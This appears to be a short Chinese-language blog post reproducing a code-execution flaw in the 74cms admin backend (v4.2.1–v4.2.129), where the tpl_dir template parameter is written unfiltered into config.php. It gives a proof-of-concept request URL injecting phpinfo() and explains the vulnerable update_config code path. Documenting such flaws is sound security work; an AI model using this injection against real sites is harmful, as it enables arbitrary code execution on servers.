74cms 后台文件写入导致的代码执行复现

in 分享 with 0 comment

概述

后台更换风格模板的时候,未对参数 tpl_dir 的值进行严格过滤,导致危险的代码可以插入到配置文件中,进而导致任意命令执行。影响:74cms v4.2.1-v4.2.129

漏洞复现

/index.php?m=admin&c=tpl&a=set&tpl_dir=',phpinfo(),'

20200306020433.png

影响文件 /Application/Home/Conf/config.php

20200306020433.png

形成原理

\Application\Admin\Controller\TplController.class.php

20200306020433.png

\Application\Common\Controller\BackendController.class.php

20200306020433.png

update_config 函数把传进来的参数进行组合成所需的配置信息,最后用 file_put_contents 函数把配置信息写入到config.php 文件中。

Responses